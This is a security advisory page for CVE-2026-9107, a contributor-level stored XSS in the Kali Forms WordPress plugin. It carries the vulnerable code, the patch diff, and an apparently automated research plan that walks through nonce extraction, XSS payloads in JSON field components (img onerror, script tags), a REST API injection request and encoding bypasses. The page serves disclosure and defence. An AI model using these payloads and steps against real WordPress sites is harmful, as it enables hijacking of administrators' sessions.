CVE-2026-9107

Kali Forms <= 2.4.13 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'kaliforms_field_components' Parameter

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
2.4.14
Patched in
1d
Time to patch

Description

The Kali Forms — Contact Form & Drag-and-Drop Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'meta[kaliforms_field_components]' parameter in all versions up to, and including, 2.4.13 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.4.13
PublishedJune 30, 2026
Last updatedJuly 1, 2026
Affected pluginkali-forms

What Changed in the Fix

Changes introduced in v2.4.14

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps to investigate and exploit **CVE-2026-9107**, a Stored Cross-Site Scripting (XSS) vulnerability in the **Kali Forms** plugin for WordPress. --- ### 1. Vulnerability Summary * **Vulnerability:** Stored Cross-Site Scripting (XSS). * **Location:** `Inc/Backen…

Show full research plan

This research plan outlines the steps to investigate and exploit CVE-2026-9107, a Stored Cross-Site Scripting (XSS) vulnerability in the Kali Forms plugin for WordPress.


1. Vulnerability Summary

  • Vulnerability: Stored Cross-Site Scripting (XSS).
  • Location: Inc/Backend/class-sanitizers.php within the sanitize_field_components and sanitize_properties_object functions.
  • Cause: The plugin fails to adequately sanitize or escape JSON-encoded form field configuration data (specifically the kaliforms_field_components meta) before storing it in the database and rendering it in the backend form builder.
  • Impact: An attacker with Contributor-level access can inject malicious scripts into form configurations. These scripts execute in the context of any user (including Administrators) who opens the form for editing in the backend.

2. Attack Vector Analysis

  • Endpoint: WordPress REST API (likely via Forms_Rest_Controller) or admin-ajax.php.
  • Authentication: Required (Contributor-level or higher).
  • Vulnerable Parameter: meta[kaliforms_field_components] (or a parameter mapping to this meta key).
  • Payload Type: JSON-encoded array containing HTML/JS injection in field properties or labels.

3. Code Flow

  1. Entry Point: The form builder sends a request to save form data. This likely hits Inc/Backend/Rest/Forms_Rest_Controller.php (registered in Inc/class-kaliforms.php).
  2. Sanitization: The data passes through Inc/Backend/class-sanitizers.php.
    • sanitize_field_components($input) decodes the JSON.
    • sanitize_field_component($item) calls sanitize_properties_object.
    • Vulnerability: In sanitize_properties_object, while specific keys like price or products are sanitized, others may be stored with insufficient filtering or the sanitize_text_field application is bypassed through complex object nesting.
  3. Storage: The sanitized data is stored via wp_slash(wp_json_encode($sanitized, JSON_HEX_QUOT)).
  4. Retrieval & Rendering:
    • Inc/Backend/class-js-vars.php retrieves the meta: $this->content['fieldComponents'] = json_decode($this->get('field_components', '[]'), false, 512, JSON_HEX_QUOT);.
    • The data is localized into the kaliforms_vars (or similar) JS object.
    • The React-based backend builder renders these components. If a component label or property is rendered using dangerouslySetInnerHTML or similar unescaped methods, the XSS triggers.

4. Nonce Acquisition Strategy

The plugin uses a nonce for its backend operations.

  • Action String: kaliforms_nonce (defined in JS_Vars as $this->slug . '_nonce').
  • JS Variable: kaliforms_vars (inferred from class and slug names).
  • Nonce Key: ajax_nonce.

Acquisition Steps:

  1. Create a form as a Contributor to ensure the builder scripts are active.
  2. Navigate to the Kali Forms editor: /wp-admin/edit.php?post_type=kaliforms_forms&page=kaliforms-builder&id=[FORM_ID].
  3. Execute in browser: browser_eval("window.kaliforms_vars?.ajax_nonce").

5. Test Data Setup

  1. User: Create a user with the contributor role.
  2. Form: Create a new form using Kali Forms.
    • wp post create --post_type=kaliforms_forms --post_title="XSS Test Form" --post_status=publish --post_author=[CONTRIBUTOR_ID]
  3. Identify Post ID: Note the ID of the created form.

6. Exploitation Strategy

Step 1: Obtain the Nonce
Use the browser_navigate tool to go to the Kali Forms admin list or builder page as the contributor. Extract the nonce from kaliforms_vars.

Step 2: Prepare Payload
The payload must be a JSON array representing the field components. We will target the label or a property that might be rendered without escaping.

[
  {
    "id": "text",
    "internalId": "text_field_1",
    "label": "First Name <img src=x onerror=alert(document.domain)>",
    "properties": {
      "placeholder": "Enter name",
      "description": "<script>alert('DescriptionXSS')</script>"
    },
    "constraint": "none"
  }
]

Step 3: Submit the Injection
Send a POST request to the REST API endpoint (verify the exact route in Forms_Rest_Controller.php, likely /wp-json/kf/v1/forms/[ID]).

  • URL: http://[TARGET]/wp-json/kf/v1/forms/[FORM_ID]
  • Method: POST (or PUT depending on REST implementation)
  • Headers:
    • Content-Type: application/json
    • X-WP-Nonce: [EXTRACTED_NONCE]
  • Body:
{
  "field_components": "[{\"id\":\"text\",\"label\":\"<img src=x onerror=alert(1)>\",\"properties\":{\"placeholder\":\"test\"}}]"
}

7. Expected Results

  • The REST API returns a 200 OK or 201 Created response.
  • The kaliforms_field_components entry in the wp_postmeta table for the specific Form ID now contains the unescaped <img src=x onerror=alert(1)> string.
  • When an Administrator logs in and navigates to the Kali Forms builder for that specific form, the browser executes alert(1).

8. Verification Steps

  1. Check Database Meta:
    wp post meta get [FORM_ID] kaliforms_field_components
    Confirm the payload is stored literally without being stripped to First Name.
  2. Verify Execution:
    Use browser_navigate as an Administrator to the form builder page:
    /wp-admin/edit.php?post_type=kaliforms_forms&page=kaliforms-builder&id=[FORM_ID]
    Observe if the alert or onerror event triggers.

9. Alternative Approaches

If the REST API is restricted:

  • AJAX Entry Point: Look for wp_ajax_kaliforms_save_form in Inc/Backend/Hooks.php.
  • Payload Variation: If label is sanitized by sanitize_text_field, inject into properties (e.g., placeholder or a custom property key) which sanitize_properties_object might iterate over without specific sanitization logic.
  • JSON Encoding: The plugin uses JSON_HEX_QUOT. Attempt to bypass sanitization by using Unicode escapes (e.g., \u003cimg ... \u003e) if the PHP json_decode handles them but the regex-based sanitizers do not.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Kali Forms plugin for WordPress is vulnerable to Authenticated Stored Cross-Site Scripting via the 'kaliforms_field_components' parameter in versions up to 2.4.13. This occurs because the plugin does not sufficiently sanitize or escape JSON-encoded form field configuration data before storing it in the database and rendering it in the backend form builder, allowing users with contributor-level permissions or higher to inject malicious scripts.

Vulnerable Code

// Inc/Backend/class-sanitizers.php @ 2.4.13

	/**
	 * @param $input
	 *
	 * @return false|string
	 */
	public static function sanitize_field_components($input)
	{
		$input = json_decode(stripslashes($input));
		if (null === $input) {
			return wp_json_encode([]);
		}

		$sanitized = [];
		foreach ($input as $field) {
			$sanitized[] = Sanitizers::sanitize_field_component($field);
		}

		return wp_slash(wp_json_encode($sanitized, JSON_HEX_QUOT));
	}

---

// Inc/Backend/class-sanitizers.php @ 2.4.13

	/**
	 * @param $item
	 *
	 * @return \stdClass
	 */
	public static function sanitize_field_component($item)
	{
		$fieldItem             = new \stdClass();
		$fieldItem->id         = sanitize_text_field($item->id);
		$fieldItem->internalId = sanitize_key($item->internalId);
		$fieldItem->label      = sanitize_text_field($item->label);
		$fieldItem->properties = Sanitizers::sanitize_properties_object($item->properties, $item->id);
		$fieldItem->constraint = empty($item->constraint) ? 'none' : absint($item->constraint);
		return $fieldItem;
	}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/kali-forms/2.4.13/Inc/Backend/class-js-vars.php /home/deploy/wp-safety.org/data/plugin-versions/kali-forms/2.4.14/Inc/Backend/class-js-vars.php
--- /home/deploy/wp-safety.org/data/plugin-versions/kali-forms/2.4.13/Inc/Backend/class-js-vars.php	2025-02-24 08:56:20.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/kali-forms/2.4.14/Inc/Backend/class-js-vars.php	2026-06-15 08:15:42.000000000 +0000
@@ -109,11 +109,16 @@
 		/**
 		 * Grid content
 		 */
-		$this->content['grid'] = json_decode($this->get('grid', '[]'));
+		$this->content['grid'] = Sanitizers::decode_json_meta($this->get('grid', '[]'));
 		/**
 		 * Field components saved in the database
 		 */
-		$this->content['fieldComponents'] = json_decode($this->get('field_components', '[]'), false, 512, JSON_HEX_QUOT);
+		$this->content['fieldComponents'] = Sanitizers::decode_json_meta(
+			$this->get('field_components', '[]'),
+			false,
+			512,
+			JSON_HEX_QUOT
+		);
 		/**
 		 * Form Info Fields
 		 */
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/kali-forms/2.4.13/Inc/Backend/class-sanitizers.php /home/deploy/wp-safety.org/data/plugin-versions/kali-forms/2.4.14/Inc/Backend/class-sanitizers.php
--- /home/deploy/wp-safety.org/data/plugin-versions/kali-forms/2.4.13/Inc/Backend/class-sanitizers.php	2026-01-08 10:05:42.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/kali-forms/2.4.14/Inc/Backend/class-sanitizers.php	2026-06-15 08:15:42.000000000 +0000
@@ -207,8 +450,8 @@
 	 */
 	public static function sanitize_field_components($input)
 	{
-		$input = json_decode(stripslashes($input));
-		if (null === $input) {
+		$input = self::decode_json_meta($input);
+		if (! is_array($input)) {
 			return wp_json_encode([]);
 		}
 
@@ -217,7 +460,7 @@
 			$sanitized[] = Sanitizers::sanitize_field_component($field);
 		}
 
-		return wp_slash(wp_json_encode($sanitized, JSON_HEX_QUOT));
+		return wp_json_encode($sanitized, JSON_HEX_QUOT);
 	}

Exploit Outline

To exploit this vulnerability, an attacker with Contributor-level access or higher must obtain a valid security nonce from the Kali Forms backend builder interface (available in the 'kaliforms_vars' JavaScript object). Using this nonce, the attacker makes a POST request to the plugin's REST API endpoint (typically `/wp-json/kf/v1/forms/{ID}`) to update form data. The payload is placed inside the 'field_components' parameter as a JSON array representing form fields. By including malicious scripts in unvalidated properties (such as placeholders or descriptions within the 'properties' object), the attacker stores the XSS in the database. The script executes when an administrator or other backend user opens the form builder for the affected form, as the React-based frontend renders these properties without adequate escaping.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.